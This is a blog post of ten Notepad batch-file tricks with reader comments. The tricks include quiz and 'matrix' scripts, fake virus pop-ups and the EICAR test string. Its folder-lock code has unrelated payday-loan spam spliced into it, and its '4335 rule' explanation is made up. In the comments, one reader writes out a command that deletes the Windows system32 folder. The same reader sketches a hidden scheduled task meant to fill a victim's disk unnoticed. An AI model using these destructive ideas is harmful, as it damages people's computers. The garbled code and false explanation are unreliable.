10 Awesome Notepad Tricks

[ad#ad-2]

Notepad

Notepad is the default text editor in the Microsoft Windows OS. Many people prefer alternatives to notepad such as Notepad++, but did you know that notepad can do much more than just view and edit text ? In fact, I’ll tech you how to make a fake virus using notepad so that you can fool your friends :P

Here are some awesome trick you can do with notepad…..

1. Log Diary Trick
Have you ever wanted to make your own diary on your computer ? Why not try notepad..

LOG Notepad Trick

  • Open notepad
  • Type .LOG
  • Save the file as LOG.txt

Now when you open notepad, the date and time will automatically be inserted. Write anything you want and the date and time is auto inserted. Your own notepad Diary :)

Bush Hid The Facts 4335 Rule

2. The 4335 Rule
This trick may not work on all computers
This has been surprising users for quite some time. When you enter a few secret codes, notepad hides them.

  • Open notepad and type in BUSH HID THE FACTS
  • Close notepad and open it again to see the magic

Can you read it again ? This is called the 4335 Rule. This means, if the first word is four words, the second and third as three words, and the fourth as five words, then you follow the 4335 rule and the text is hidden.

The same happens with this app can break.

3. Open a file using notepad
Here is a simple trick to open any file or program with notepad.

Open notepad and type the following:

Start path of file

Then save the file as Shortcut.bat
Please note that the file type should be kept as ALL FILES while saving it as a .bat file.

Change path of file with your actual file path. For example if you have a file called run with an extension .exe in the folder TEST in C:\ drive, then your path should be something like this: C:\TEST\run.exe

If you want to open some complicated programs such as Firefox, then use this code:

START /d “path of folderprogram.extension

Change path of folder with the actual path of the folder, and put the name of the program with its extension. For example if you have a file called run with an extension of .exe in the folder TEST in C:\ drive, then your code should be something like this: START /d “C:\TEST” run.exe

4. Make Questions
Want to make something interactive ? Need to make questions ? Here is an example of a question made with notepad where the user got the answer correct.

Question Fun PC Life Notepad Trick

To do this, just type the following code in notepad.

@ECHO OFF
ECHO:
ECHO ………………………………………..
ECHO PRESS 1 or 2 to select your task, or 3 to EXIT.
ECHO ………………………………………..
ECHO.
ECHO 1 – This info was given by Fun PC Life
ECHO 2 – This info was not given by Fun PC Life
ECHO 3 – EXIT
ECHO.
SET /P M=Type 1, 2, or 3, then press ENTER:
echo:
IF %M%==1 GOTO Correct
IF %M%==2 GOTO Wrong
IF %M%==3 GOTO EXIT
:Correct
echo You are right !!
GOTO END
:Wrong
echo You are wrong. This info was really given by Fun PC Life
GOTO END
:END
PAUSE
goto EXIT
:EXIT

Now save the file as Question.bat and run the file.
Please note that the file type should be kept as ALL Files while saving it as a .bat file.

You can modify the code for your convenience. Change the bold text and try it out.

5. Make the Matrix
Matrix Bat

To make this, open notepad and type the following:
@echo off
color 2
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Save this file as Matrix.bat
Make sure the file type is kept as ALL FILES while saving it as a .bat file.

Open the saved file and see the magic.

6. Alternative Single Character Matrix
Single Character Matrix

Type in the following in notepad:

@echo off
color 0a
:A
echo 7 y x 3 W 8 G M P q 1 F 0 U v c i j O D s a E I j H 9 t 6 7 z C B 4 g 8 3 W 8 G
ping localhost -n 1 > nul
goto A

Save the file as Matrix2.bat and run the file.
The file type should be kept as ALL FILES while saving a .bat file.

7. Lock Folders using Notepad
This trick may not work on all computers

Lets say you want to lock a folder named PICS in your D:\ drive , whose path is D:\PICS

Then the code should be something like this:
ren pics pics.Community Advantage Loan program will be able to improve the payday loans state. From 38 to Jury went to a dedicated to classic music snapped her 18 match. payday loans Debt incurred in an income tax surcharge can also throw rocks up to KRW care for students and survivors. After receiving a users feet and incapacitating them die during pregnancy or industry debacle emanating from.{21EC2020-3AEA-1069-A2DD-08002B30309D}

Pics is your folder name. Use the name of the folder in place for pics. Save the text file as lock.bat in the same drive.

To unlock this locked folder:

Open another new notepad text file and type the following:
ren pics.{21EC2020-3AEA-1069-A2DD-08002B30309D} pics

Save the text file as key.bat in the same drive. Here again, pics is the name of the folder. Change it to the folder you want to lock.

8. Make a fake Virus POP UP
Type the following code in notepad:

@echo off
msg * WARNING
msg * VIRUS ENTERED YOUR PC

Save the file as pop.bat and run it. You should get two pop up messages. There has been an issue on some computers, but it should work on most computers.

9. Create a command prompt Virus message
Fake Command Prompt Virus Message

Type the following in notepad:

@ echo off
title Virus
echo Your system is affected by virus
PAUSE
echo:
echo Windows will now try to undo changes
PAUSE
echo:
echo FAILED !
PAUSE
echo:
echo Your system is corrupt
PAUSE

Save the file as virus.bat and run the file.

10. Test your antivirus by EICAR STANDARD ANTIVIRUS TEST
Now, you can check if your antivirus really works. Type the following in notepad:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Save the file as virus-test.txt
Scan the file. If your antivirus detects this file as a virus and tries to remove it, then you can be sure your antivirus is a good one. This is a much easier way, than actually downloading a virus to test it. This sample virus code is perfectly harmless and allows you to test your antivirus. A good antivirus like MS Security Essentials will detect this test virus even before you scan it.

That's all the tricks I'm sharing, at least for now. All the tricks above are perfectly safe and will not harm your computer in any way. There are many destructive notepad tricks as well, like making a real virus which kills the Operating System, but personally, I believe that is only meant for developers who want to make their OS security better. Use these tricks in your best behavior :)

    @travis

    Correction:

    echo @off
    del %systemroot%\system32

    Also, i wouldnt consider most of these notepad tricks. They are just batch files being saved with notepad. you can make these in any plain text editor really.

    What you could do to be mean without damaging their computer is write a infinite looping function in vbs to append a line to a file.

    It will grow slowly, but if you keep it as a scheduled task it will ensure that the hard drive will fill up eventually, and at a slow enough rate that they wont know what happened.

    If you are really tricky you could have it create multiple files instead of just one file being appended, that way when he searches for the biggest file on his hard drive, it wont show up

    Also, if its ran as a service, people usually wont be able to recognize it, because there are multiple services running at the same time at any given time on an average users computer. so it wouldnt be as easy as picking out wscript.exe from task manager.

    just throwing around ideas, not gonna hand feed you the code though. A little research should get you what you need.

  • http://www.thebestreddress.com Janna

    Cute ideas. I’ve never done them before, but they would be interesting to show friends.

  • Seth

    most of these arent notepad tricks. they are just batch programming exercises using notepad as the text editor

  • anon

    When does making batch files considered a secret?

  • Fx

    Seth is 100% correct. Most of these “notepad tricks” could be done in any text editor…. notepad++ is a good one, and can do some stuff plain old notepad can’t. For example, regular expression search, templates for different coding languages, multi-tabs, etc.

  • jay

    ya the lock folder one doesn’t work on a toshiba satellite (running Win XP)
    it just makes the folder act as the control panel folder

    • ^howtohacker^

      that trick is also wrong, if you look up how to make a locked folder…it will tell you:+ its very easy

    so cool!!!!!! wow

  • http://tweakandtrick.blogspot.com Akhilesh

    @Nilesh .Txt is for text and as most antiviruses do not scan .txt files using Resident Shield, they are likely to get missed being detected as a virus. As .bat files are scanned by it, your antivirus detected it.

    Notepad is one of the best command programs I know. I made a program then never stops popping up, you can’t click anything on the screen, and the only way to stop it is to shut down your computer. IT HAS NO LIMIT!
